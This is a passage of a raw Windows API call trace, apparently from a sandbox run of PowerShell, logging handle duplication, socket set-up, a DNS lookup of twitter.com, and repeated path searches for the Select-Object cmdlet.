[0157.318] CloseHandle (hObject=0x50c) returned 1 [0157.319] GetCurrentProcess () returned 0xffffffff [0157.319] GetCurrentProcess () returned 0xffffffff [0157.319] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x50c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde3ac*=0x510) returned 1 [0157.319] CloseHandle (hObject=0x50c) returned 1 [0157.319] CloseHandle (hObject=0x510) returned 1 [0157.321] GetCurrentProcess () returned 0xffffffff [0157.321] GetCurrentProcess () returned 0xffffffff [0157.321] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde3ac, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde3ac*=0x50c) returned 1 [0157.321] CloseHandle (hObject=0x510) returned 1 [0157.322] CloseHandle (hObject=0x50c) returned 1 [0157.411] GetCurrentProcess () returned 0xffffffff [0157.411] GetCurrentProcess () returned 0xffffffff [0157.411] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x50c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde1c4, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde1c4*=0x510) returned 1 [0157.434] CloseHandle (hObject=0x50c) returned 1 [0157.434] CloseHandle (hObject=0x510) returned 1 [0157.435] GetCurrentProcess () returned 0xffffffff [0157.435] GetCurrentProcess () returned 0xffffffff [0157.435] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x510, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde1dc, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde1dc*=0x50c) returned 1 [0157.437] CloseHandle (hObject=0x510) returned 1 [0157.437] CloseHandle (hObject=0x50c) returned 1 [0157.458] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5bde3f0 | out: lpWSAData=0x5bde3f0) returned 0 [0157.469] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x528 [0157.478] setsockopt (s=0x528, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0157.479] closesocket (s=0x528) returned 0 [0157.481] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x528 [0157.484] setsockopt (s=0x528, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0157.484] closesocket (s=0x528) returned 0 [0157.488] GetCurrentProcess () returned 0xffffffff [0157.488] GetCurrentProcess () returned 0xffffffff [0157.488] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x528, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde1b8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde1b8*=0x52c) returned 1 [0157.494] CloseHandle (hObject=0x528) returned 1 [0157.495] CloseHandle (hObject=0x52c) returned 1 [0157.495] GetCurrentProcess () returned 0xffffffff [0157.495] GetCurrentProcess () returned 0xffffffff [0157.496] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x52c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5bde1d0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x5bde1d0*=0x528) returned 1 [0157.496] CloseHandle (hObject=0x52c) returned 1 [0157.496] CloseHandle (hObject=0x528) returned 1 [0157.528] GetAddrInfoW (in: pNodeName="www.twitter.com", pServiceName=0x0, pHints=0x5bde5d8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5bde580 | out: ppResult=0x5bde580*=0x5f75f50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f7f500*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f8a390*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5f71ec0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) returned 0 [0157.574] FreeAddrInfoW (pAddrInfo=0x5f75f50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="twitter.com", ai_addr=0x5f7f500*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.129"), ai_next=0x5f8a390*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5f71ec0*(sa_family=2, sin_port=0x0, sin_addr="104.244.42.65"), ai_next=0x0))) [0157.608] CoCreateGuid (in: pguid=0x5bde698 | out: pguid=0x5bde698*(Data1=0x49d9a8d8, Data2=0xe1d1, Data3=0x46c8, Data4=([0]=0x84, [1]=0x7e, [2]=0x1c, [3]=0xd4, [4]=0x30, [5]=0x43, [6]=0xb, [7]=0xe1))) returned 0x0 [0157.608] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0157.662] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde318, nSize=0x80 | out: lpBuffer="") returned 0x0 [0157.663] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bde240, nSize=0x80 | out: lpBuffer="") returned 0xbe [0157.663] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bde1c4, nSize=0xbe | out: lpBuffer="") returned 0xbd [0157.663] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bde1b0, nSize=0xbe | out: lpBuffer="") returned 0x3a [0157.664] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x62b578 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0157.664] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bde1b8, nSize=0xbe | out: lpBuffer="") returned 0x3a [0157.664] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0157.664] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0157.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0ac) returned 1 [0157.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bde370 | out: lpFileInformation=0x5bde370*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0157.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0a8) returned 1 [0157.664] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0157.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0157.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0ac) returned 1 [0157.665] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5bde370 | out: lpFileInformation=0x5bde370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0157.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0a8) returned 1 [0157.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde368) returned 1 [0157.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0157.665] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0157.665] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x5bde118 | out: lpFindFileData=0x5bde118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0c0) returned 1 [0157.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde320) returned 1 [0157.666] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0157.666] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0157.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0ac) returned 1 [0157.666] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bde370 | out: lpFileInformation=0x5bde370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0157.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0a8) returned 1 [0157.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde368) returned 1 [0157.666] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0157.666] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0157.666] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x5bde118 | out: lpFindFileData=0x5bde118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0c0) returned 1 [0157.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde320) returned 1 [0157.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0157.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0157.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0ac) returned 1 [0157.667] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5bde370 | out: lpFileInformation=0x5bde370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0157.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0a8) returned 1 [0157.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde368) returned 1 [0157.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0157.667] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0157.667] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x5bde118 | out: lpFindFileData=0x5bde118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0c0) returned 1 [0157.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde320) returned 1 [0157.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0157.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0157.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde0ac) returned 1 [0157.668] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5bde370 | out: lpFileInformation=0x5bde370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0157.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0a8) returned 1 [0157.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde368) returned 1 [0157.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0157.668] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0157.668] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x5bde118 | out: lpFindFileData=0x5bde118*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde0c0) returned 1 [0157.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde320) returned 1 [0157.669] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bde250, nSize=0xbe | out: lpBuffer="") returned 0x0 [0157.669] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bde16c, nSize=0xbe | out: lpBuffer="") returned 0xbd [0157.669] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bde158, nSize=0xbe | out: lpBuffer="") returned 0x3a [0157.669] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x62b578 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0157.670] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bde160, nSize=0xbe | out: lpBuffer="") returned 0x3a [0157.670] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0157.670] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0157.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde054) returned 1 [0157.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bde318 | out: lpFileInformation=0x5bde318*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0157.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde050) returned 1 [0157.670] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0157.670] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0157.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde054) returned 1 [0157.670] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5bde318 | out: lpFileInformation=0x5bde318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0157.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde050) returned 1 [0157.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde310) returned 1 [0157.670] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0157.670] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0157.671] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Select-Object.*", lpFindFileData=0x5bde0c0 | out: lpFindFileData=0x5bde0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde068) returned 1 [0157.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde2c8) returned 1 [0157.671] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0157.671] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0157.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde054) returned 1 [0157.671] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bde318 | out: lpFileInformation=0x5bde318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0157.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde050) returned 1 [0157.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde310) returned 1 [0157.671] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0157.671] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0157.672] FindFirstFileW (in: lpFileName="C:\\Windows\\Select-Object.*", lpFindFileData=0x5bde0c0 | out: lpFindFileData=0x5bde0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde068) returned 1 [0157.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde2c8) returned 1 [0157.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0157.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0157.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde054) returned 1 [0157.672] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5bde318 | out: lpFileInformation=0x5bde318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0157.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde050) returned 1 [0157.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde310) returned 1 [0157.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0157.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0157.673] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x5bde0c0 | out: lpFindFileData=0x5bde0c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0157.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde068) returned 1 [0157.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde2c8) returned 1 [0157.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0157.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0157.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde054) returned 1 [0157.673] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5bde318 | out: lpFileInformation=0x5bde318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0157.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde050) returned 1 [0157.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde310) returned 1 [0157.673] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, 